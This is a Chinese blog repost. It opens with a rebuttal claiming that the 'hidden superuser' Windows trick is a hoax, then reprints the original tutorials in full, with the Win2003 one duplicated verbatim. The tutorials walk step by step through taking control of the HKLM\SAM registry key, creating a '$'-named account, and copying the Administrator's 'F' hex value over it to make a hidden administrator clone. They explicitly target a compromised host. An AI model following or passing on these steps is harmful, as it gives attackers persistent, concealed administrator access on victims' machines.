分享

建立隐藏的超级用户 是个骗局

 看见就非常 2012-08-01
2005-8-13 16:38
---由《建立隐藏的超级用户》一文引出

近来一段时间,网上到处转贴《建立隐藏的超级用户》这样一篇文章,文中提出可以通过修改Win2k注册表的sam数据库内容来添加一个隐藏的超级用户,在net user和用户管理下面都看不到踪迹,可以算是一个非常好的Rootkit了,于是引起了我的极大兴趣,摸索了有一周,自认为对windows的用户管理已经很是熟悉了,得出了这样一个结论:关于建立隐藏的超级用户,完全是一个骗局,呵呵。你一定有些惊讶吧,既然是骗局,怎么还那么多人转贴和叫好呢?好,听我慢慢给你解释:

一、关于SAM数据库的内容
首先从windows的用户管理来说起吧,由于windows系统是建立在注册表之上的,所以,关于所有的用户信息也是存放在注册表的HKLM下的SAM项中,关于SAM项的内容,我简单提一下,只要知道个大概就可以了。

存放用户信息的具体地方是HKLM\SAM\SAM\Domains\Account\Users中,下面的十六进制项都是用户的sid,比如用户Administrator的sid是000001F4,guest的sid是000001F5,其他的每一个十六进制项都对应一个用户名。同时,在Names项下面保存的是用户名,下面的每一个都是你机器中的用户名。OK,基本的用户信息就是这些了,下面来看windows如何管理这些用户:

添加一个新用户的时候,系统会在HKLM\SAM\SAM\Domains\Account\Users下面添加一个新的sid项来标记用户,同时在HKLM\SAM\SAM\Domains\Account\Users\Names下建立一个用户名的项,而项的类型为这个新的sid。比如添加一个名为xiaobai的用户,系统就会在HKLM\SAM\SAM\Domains\Account\Users下添加一个新的sid项,假设是000003ED,与此同时,你会发现在HKLM\SAM\SAM\Domains\Account\Users\Names下面多了一个名为xiaobai的项,类型为0x3ed。这就是windows系统处理添加用户的方式。

删除用户的时候,系统所做的工作就是把上面对应添加的两个项删除。大体的原理应该就是这样,那些有关键值内容的东西,因为与下面的主题没有很大关系,所以,我就不细说了。


二、查看本机用户信息
现在,已经了解了系统是如何管理用户的原理了,我们再回到系统管理员的角度,作为一个系统管理员,查看本机的用户情况是最常见的行为了,一般通过两种方式来查看,net命令和MMC管理控制台。两种方式取得本机用户信息的方式稍有不同。

首先是net命令,每次执行net命令的时候,系统去注册表的HKLM\SAM\SAM\Domains\Account\Users\Names下面取项值,然后打印在屏幕上,就是你看到的结果,所以,即使你随便在这个项值下面添加一项,也会通过net命令显示出来的。其中的一个小技巧就是如果用户名后面带一个$符号的时候,就不会显示出来,所以,在net命令下隐身很容易的,只要你添加的用户名是以$结尾的就可以了。

然后是MMC管理控制台,它与net命令稍有不同,不同处在于显示用户信息的时候不是现场去注册表中取,而是每次系统启动时,所有的用户信息都已经被读入了,只是显示出来就可以了。除非你做了添加或者删除用户的操作,否则,MMC不会去读注册表的信息的。

所以,当我们按照《建立隐藏的超级用户》这篇文章的方法做的时候,添加用户后又删除了,所以不会在 MMC中留下痕迹,此时再通过添加注册表的项来使账号复活,登录windows的时候系统对比注册表中的内容,发现这个用户有足够的信息,所以允许登录。正如前面所说,除非有添加删除操作,否则,MMC不临时去取注册表的用户信息,所以,在MMC中是看不到这个用户的,也就是《建立隐藏的超级用户》这篇文章所说的成功添加了一个隐藏的超级用户。似乎这个后门留地是天衣无缝,可是一旦你重新启动呢,你会发现,你刚才添加的隐藏的用户又明明白白地显示在用户列表中,呵呵,至于原因么,是因为系统每次重启动的时候,MMC都要重新读取一下注册表的SAM数据库,所以,这个你复活的账号也被读到了MMC的记录中,这样,也就不是什么隐藏的用户了。

呵呵,到现在你应该清楚为什么《建立隐藏的超级用户》这篇文章是个骗局了吧,有无数人为之欢呼,以为找到了一个超级的Rootkit,当然也包括我,不过,假的毕竟是假的,因为这个而搞清楚了windows的用户管理机制,这个收获也不小啊,呵呵。
 
附《建立隐藏的超级用户》:
 
这个账户可以在用户完全不知情的情况下创建,方法如下:
首先打开注册表编辑器regedit,找到[HKEY_LOCAL_MACHINE\SAM\SAM]这个里面存贮了Windows系统的所有用户信息,右键这个键值,选择权限,添加现在用的这个账户的完全控制权限,然后刷新就会多出Domains这个子项,打开Account项,然后再打开users,这里面就是系统用户信息,点开Names一项就看到了所有用户。现在我们添加一个账户,开始-运行 cmd,输入net
user haohao$ 123 /add 这样就添加了一个账户,$在命令行下是不显示的,所以输入net user查看,不会看到haohao$这个账户,但是在计算机管理的本地用户和组中是可以看到的。下面就解决这个问题,刷新注册表,会发现Names多了一个haohao$项,打开发现键值为0X3ED,我们在Users这项会发现多了一个000003ED的项,里面有F和V两个键值,然后找到administrator这个账户,查看对应的F键值,把这个键值覆盖掉haohao$对应的F键值,然后分别导出haohao$和000003ED这两个键值,然后cmd删除haohao$这个账户,net user haohao$ /del,成功后再导入刚才的haohao$和000003ED这两个注册表文件,导入成功后在net user和计算机管理中都看不到haohao$这个账户,但是其实这个账户是真实存在的而且是管理员权限,验证下,cmd输入runas /profile /user:haohao$ cmd.exe回车输入密码,这样就启动一个以haohao$账户的cmd窗口,用这个窗口可以创建其他账户,说明已经是管理员权限,最后建议把注册表SAM键值的权限改回默认,这样就成功在系统中建立了一个隐藏的管理员账户。

建立WIN2003超级隐藏用户- -
                                       
隐藏的超级用户建好后,在帐户管理器看不到建立的这个用户,在命令行用"net user"命令也看不到哦!!
2K中的regedit.exe和regedt32.exe
    XP中的regedit.exe和regedt32.exe
    win2003中的regedit.exe和regedt32.exe
    都有两个注册表编辑器,实为一个程序。对regedit.exe我想大家都应该很熟悉的啦,但却不能对注册表的项键设置权限,而regedt32.exe最
大的优点就是能够对注册表的项键设置权限。nt/2000/xp/2003的帐户信息都在注册表的HKEY_LOCAL_MACHINE\SAM\SAM键下,但是除了系统用户
SYSTEM外,其它用户都无权查看到里面的信息。下面介绍一下这个sam

    SAM(Security Accounts Manager安全帐户管理器)负责SAM数据库的控制和维护。SAM数据库位于注册表HKLM\SAM\SAM下,受到ACL保护,可以使用regedt32.exe打开注册表编辑器并设置适当权限查看SAM中的内容。SAM数据库在磁盘上就保存在%systemroot%system32\config\目录下的sam文件中,在这个目录下还包括一个security文件,是安全数据库的内容,听高手说两者有不少关系。(由于本人太菜,并不太了解)

SAM数据库中包含所有组、帐户的信息,包括密码HASH、帐户的SID等。现以我分析的系统---中文Win2003 Server为例

    首先用regedt32.exe(2003用regedit也一样)对SAM键为我设置为"完全控制"权限。这样就可以对SAM键内的信息进行读写了了。展开注册
表HKEY_LOCAL_MACHINE_SAM:
|---- SAM
|----Domains
| |----Account
| | |---- Aliaese
| | | |---- 000003E8
| | | |----000003EA
| | | |----000003EA
| | | |---- Members
| | | | |----S-1-5
| | | | | |----000003EA
| | | | | |----00000013
| | | | | |----00000013
| | | | |----S-1-5-21-3179286488-61192537-2235348617
| | | | |----000003E9
| | | | |----000003ED
| | | |----Name
| | | |----HelpServicesGroup
| | | |----IIS_WPG
| | | |----TelnetClients
| | |----Grpup
| | | |----00000201
| | | |----Name
| | | |----None
| | |----Users
| | |----000001F4
| | |----000001F5
| | |----000003E9
| | |----000003EC
| | |----000003ED
| | |----Names
| | |----Net2k$
| | |----Guest
| | |----IUSR_NET2K-KAXXY6SZ3
| | |----IWAM_NET2K-KAXXY6SZ3
| | |----SUPPORT_388945a0
| |----Builtin
| |----Aliases
| | |----00000220
| | |----00000221
| | |----00000222
| | |----00000223
| | |----00000226
| | |----00000227
| | |----00000228
| | |----0000022B
| | |----0000022C
| | |----0000022E
| | |----0000022F
| | |----Members
| | | |----S-1-5
| | | | |----00000004
| | | | |----0000000B
| | | | |----00000014
| | | |----S-1-5-21-3179286488-61192537-2235348617
| | | |----000001F4
| | | |----000001F5
| | | |----000003EC
| | |----Names
| | |----Administrators
| | |----Backup Operators
| | |----Guests
| | |----Network Configuration Operators
| | |----Performance Log Users
| | |----Performance Monitor Users
| | |----Power Users
| | |----Print Operators
| | |----Remote Desktop Users
| | |----Replicator
| | |----Users
| |----Groups
| | |---Names
| |----Users
| |----Names
|----RXACT

        
这是我机器上注册表中SAM数据库的结构,SAM树。在整个数据库中,账号主要内容存在于下面这些位置:在\Domains\下就是域(或本机)中的SAM内容,其下有两个分支"Account"和"Builtin"。\Domains\Account是用户账号内容。\Domains\Account\Users下就是各个账号的信息。

其下的子键就是各个账号的SID相对标志符。比如000001F4,每个账号下面有两个子项,F和V。其中\Names\下是用户账号名,每个账号名只有一个默认的子项,项中类型不是一般的注册表数据类型,而是指向标志这个账号的SID最后一项(相对标识符),比如其下的Administrator,类型为0x1F4,于是从前面的000001F4就对应着帐户名administrator的内容。如果我们把某个账号中的类型改为0x1F4,那么这个账号将被指向类000001F4的帐户。而这个账号000001F4就是administrator帐户,这样,系统在登录过程中就把被修改的账号完全转为了administrator账号,经过修改的账号所使用的所有内容、信息都是adminisrtator内容,包括密码、权限、桌面、记录、访问时间等等,这就是达到了所谓的克隆超级管理员账号的目的。由于本人水平所限,SAM数据库的不再多作介绍了,想要了解更多的,可以自己去查找资料.下面主要是介绍如何实现这个克隆并隐藏账号的步骤了。    了解了这些,接下来的工作也就更容易去做了。


     具体步聚如下:
     1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的,首先在命令行下或帐户管理器中建立一个帐户:
net2$,这里我在命令行下建立这个帐户,如下:
net user net2k$ 123456 /add

    2、在"开始"→"运行"并输入"regedit.exe" 回车,启动注册表编辑器regedit.exe。
打开键:HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\net2k$"

   3、将项net2$、000003F2、000001F4导出为kelong.reg、3f2.reg、admin.reg,用记事本分别把这几个导出的文件进行编辑,将超级用户对
应的项000001F4下的键"F"的值复制,并覆盖NET2K$对应的项000003F2下的键"F"的值,详细步骤、内容如下:

项000001F4下的键"F"的内容:

"F"=hex:02,00,01,00,00,00,00,00,58,35,e6,ba,b7,85,c4,01,00,00,00,00,00,00,00,\
  00,6a,09,b0,b2,6f,71,c4,01,00,00,00,00,00,00,00,00,32,47,ec,f7,5c,84,c4,01,\
  f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,00,00,86,00,01,00,00,00,00,\
  00,00,00,00,00,00,00

账号NET2K$对应的SID项000003F2下的键"F"的内容:

"F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  00,ce,21,90,ca,eb,85,c4,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  f2,03,00,00,01,02,00,00,10,00,00,00,00,00,00,00,00,00,00,00,01,00,00,00,00,\
  00,00,00,00,00,5f,00
然后再将03F2.reg与kelong.reg合并后执行导入。


    4、在命令行下执行net user net2k$ /del将用户net2k$删除:net user net2k$ /del
    到此,隐藏的超级用户hacker$已经建好了,然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINE\SAM\SAM键权限改回原
来的样子。
    注意:隐藏的超级用户建好后,在帐户管理器看不到net2k$这个用户,在命令行用"net user"命令也看不到,但是超级用户建立以后,
就不能再改密码了,如果用net user命令来改hacker$的密码的话,那么在帐户管理器中将又会看这个隐藏的超级用户了,据说不能删除。至于如何在命令行下远程建立隐藏的超级用户,这里就不多说了,只要你dos命令好,手工克隆也完全不是问题,方法都一样,只是要讲究操作技巧了......
建立WIN2003超级隐藏用户- -
                                       
隐藏的超级用户建好后,在帐户管理器看不到建立的这个用户,在命令行用"net user"命令也看不到哦!!
2K中的regedit.exe和regedt32.exe
    XP中的regedit.exe和regedt32.exe
    win2003中的regedit.exe和regedt32.exe
    都有两个注册表编辑器,实为一个程序。对regedit.exe我想大家都应该很熟悉的啦,但却不能对注册表的项键设置权限,而regedt32.exe最
大的优点就是能够对注册表的项键设置权限。nt/2000/xp/2003的帐户信息都在注册表的HKEY_LOCAL_MACHINE\SAM\SAM键下,但是除了系统用户
SYSTEM外,其它用户都无权查看到里面的信息。下面介绍一下这个sam

    SAM(Security Accounts Manager安全帐户管理器)负责SAM数据库的控制和维护。SAM数据库位于注册表HKLM\SAM\SAM下,受到ACL保护,可以使用regedt32.exe打开注册表编辑器并设置适当权限查看SAM中的内容。SAM数据库在磁盘上就保存在%systemroot%system32\config\目录下的sam文件中,在这个目录下还包括一个security文件,是安全数据库的内容,听高手说两者有不少关系。(由于本人太菜,并不太了解)

SAM数据库中包含所有组、帐户的信息,包括密码HASH、帐户的SID等。现以我分析的系统---中文Win2003 Server为例

    首先用regedt32.exe(2003用regedit也一样)对SAM键为我设置为"完全控制"权限。这样就可以对SAM键内的信息进行读写了了。展开注册
表HKEY_LOCAL_MACHINE_SAM:
|---- SAM
|----Domains
| |----Account
| | |---- Aliaese
| | | |---- 000003E8
| | | |----000003EA
| | | |----000003EA
| | | |---- Members
| | | | |----S-1-5
| | | | | |----000003EA
| | | | | |----00000013
| | | | | |----00000013
| | | | |----S-1-5-21-3179286488-61192537-2235348617
| | | | |----000003E9
| | | | |----000003ED
| | | |----Name
| | | |----HelpServicesGroup
| | | |----IIS_WPG
| | | |----TelnetClients
| | |----Grpup
| | | |----00000201
| | | |----Name
| | | |----None
| | |----Users
| | |----000001F4
| | |----000001F5
| | |----000003E9
| | |----000003EC
| | |----000003ED
| | |----Names
| | |----Net2k$
| | |----Guest
| | |----IUSR_NET2K-KAXXY6SZ3
| | |----IWAM_NET2K-KAXXY6SZ3
| | |----SUPPORT_388945a0
| |----Builtin
| |----Aliases
| | |----00000220
| | |----00000221
| | |----00000222
| | |----00000223
| | |----00000226
| | |----00000227
| | |----00000228
| | |----0000022B
| | |----0000022C
| | |----0000022E
| | |----0000022F
| | |----Members
| | | |----S-1-5
| | | | |----00000004
| | | | |----0000000B
| | | | |----00000014
| | | |----S-1-5-21-3179286488-61192537-2235348617
| | | |----000001F4
| | | |----000001F5
| | | |----000003EC
| | |----Names
| | |----Administrators
| | |----Backup Operators
| | |----Guests
| | |----Network Configuration Operators
| | |----Performance Log Users
| | |----Performance Monitor Users
| | |----Power Users
| | |----Print Operators
| | |----Remote Desktop Users
| | |----Replicator
| | |----Users
| |----Groups
| | |---Names
| |----Users
| |----Names
|----RXACT

        
这是我机器上注册表中SAM数据库的结构,SAM树。在整个数据库中,账号主要内容存在于下面这些位置:在\Domains\下就是域(或本机)中的SAM内容,其下有两个分支"Account"和"Builtin"。\Domains\Account是用户账号内容。\Domains\Account\Users下就是各个账号的信息。

其下的子键就是各个账号的SID相对标志符。比如000001F4,每个账号下面有两个子项,F和V。其中\Names\下是用户账号名,每个账号名只有一个默认的子项,项中类型不是一般的注册表数据类型,而是指向标志这个账号的SID最后一项(相对标识符),比如其下的Administrator,类型为0x1F4,于是从前面的000001F4就对应着帐户名administrator的内容。如果我们把某个账号中的类型改为0x1F4,那么这个账号将被指向类000001F4的帐户。而这个账号000001F4就是administrator帐户,这样,系统在登录过程中就把被修改的账号完全转为了administrator账号,经过修改的账号所使用的所有内容、信息都是adminisrtator内容,包括密码、权限、桌面、记录、访问时间等等,这就是达到了所谓的克隆超级管理员账号的目的。由于本人水平所限,SAM数据库的不再多作介绍了,想要了解更多的,可以自己去查找资料.下面主要是介绍如何实现这个克隆并隐藏账号的步骤了。    了解了这些,接下来的工作也就更容易去做了。


     具体步聚如下:
     1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的,首先在命令行下或帐户管理器中建立一个帐户:
net2$,这里我在命令行下建立这个帐户,如下:
net user net2k$ 123456 /add

    2、在"开始"→"运行"并输入"regedit.exe" 回车,启动注册表编辑器regedit.exe。
打开键:HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\net2k$"

   3、将项net2$、000003F2、000001F4导出为kelong.reg、3f2.reg、admin.reg,用记事本分别把这几个导出的文件进行编辑,将超级用户对
应的项000001F4下的键"F"的值复制,并覆盖NET2K$对应的项000003F2下的键"F"的值,详细步骤、内容如下:

项000001F4下的键"F"的内容:

"F"=hex:02,00,01,00,00,00,00,00,58,35,e6,ba,b7,85,c4,01,00,00,00,00,00,00,00,\
  00,6a,09,b0,b2,6f,71,c4,01,00,00,00,00,00,00,00,00,32,47,ec,f7,5c,84,c4,01,\
  f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,00,00,86,00,01,00,00,00,00,\
  00,00,00,00,00,00,00

账号NET2K$对应的SID项000003F2下的键"F"的内容:

"F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  00,ce,21,90,ca,eb,85,c4,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  f2,03,00,00,01,02,00,00,10,00,00,00,00,00,00,00,00,00,00,00,01,00,00,00,00,\
  00,00,00,00,00,5f,00
然后再将03F2.reg与kelong.reg合并后执行导入。


    4、在命令行下执行net user net2k$ /del将用户net2k$删除:net user net2k$ /del
    到此,隐藏的超级用户hacker$已经建好了,然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINE\SAM\SAM键权限改回原
来的样子。
    注意:隐藏的超级用户建好后,在帐户管理器看不到net2k$这个用户,在命令行用"net user"命令也看不到,但是超级用户建立以后,
就不能再改密码了,如果用net user命令来改hacker$的密码的话,那么在帐户管理器中将又会看这个隐藏的超级用户了,据说不能删除。至于如何在命令行下远程建立隐藏的超级用户,这里就不多说了,只要你dos命令好,手工克隆也完全不是问题,方法都一样,只是要讲究操作技巧了......

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多